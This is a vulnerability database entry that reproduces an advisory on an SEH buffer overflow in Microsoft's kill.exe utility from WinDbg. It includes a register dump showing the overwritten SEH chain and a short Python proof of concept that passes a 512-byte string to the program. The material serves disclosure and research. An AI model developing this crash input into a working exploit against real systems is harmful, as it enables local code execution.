Microsoft Process Kill Utility Buffer Overflow

vendor:

Kill Utility

by:

HYP3RLINX

3,3

CVSS

LOW

Buffer Overflow

119

CWE

Product Name: Kill Utility

Affected Version From: 6.3.9600.17298

Affected Version To: 6.3.9600.17298

Patch Exists: NO

Related CWE: N/A

CPE: a:microsoft:kill_utility

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2016

Microsoft Process Kill Utility Buffer Overflow

The Kill tool (kill.exe), a tool used to terminate a process, part of the WinDbg program, is vulnerable to a SEH Buffer Overflow vulnerability. An attacker can exploit this vulnerability by sending a specially crafted input of about 512 bytes to the kill.exe program, which will cause a buffer overflow and overwrite the SEH handler. This can be used to execute arbitrary code.

Mitigation:

Microsoft has not released a patch for this vulnerability. Users should avoid using the kill.exe program.

Source

Exploit-DB raw data:

'''
[+] Credits: HYP3RLINX
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MS-KILL-UTILITY-BUFFER-OVERFLOW.txt
[+] ISR: ApparitionSec


Vendor:
=================
www.microsoft.com


Product:
=========================================
Microsoft Process Kill Utility "kill.exe"
File version: 6.3.9600.17298

The Kill tool (kill.exe), a tool used to terminate a process, part of the
WinDbg program.


Vulnerability Type:
===================
Buffer Overflow


SEH Buffer Overflow @ about 512 bytes


Vulnerability Details:
=====================

Register dump


'SEH chain of main thread
Address    SE handler
001AF688   kernel32.756F489B
001AFBD8   52525252
42424242   *** CORRUPT ENTRY ***


001BF81C   41414141  AAAA
001BF820   41414141  AAAA
001BF824   41414141  AAAA
001BF828   41414141  AAAA
001BF82C   41414141  AAAA
001BF830   41414141  AAAA
001BF834   909006EB  ë  Pointer to next SEH record
001BF838   52525252  RRRR  SE handler  <================
001BF83C   90909090
001BF840   90909090


Exploit code(s):
================

Python POC.
'''

junk="A"*508+"RRRR"

pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)


'''
Disclosure Timeline:
==================================
Vendor Notification: June 24, 2016
Vendor reply:  Will not security service
July 8, 2016  : Public Disclosure


Exploitation Technique:
=======================
Local


Severity Level:
================
Low


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

HYP3RLINX
'''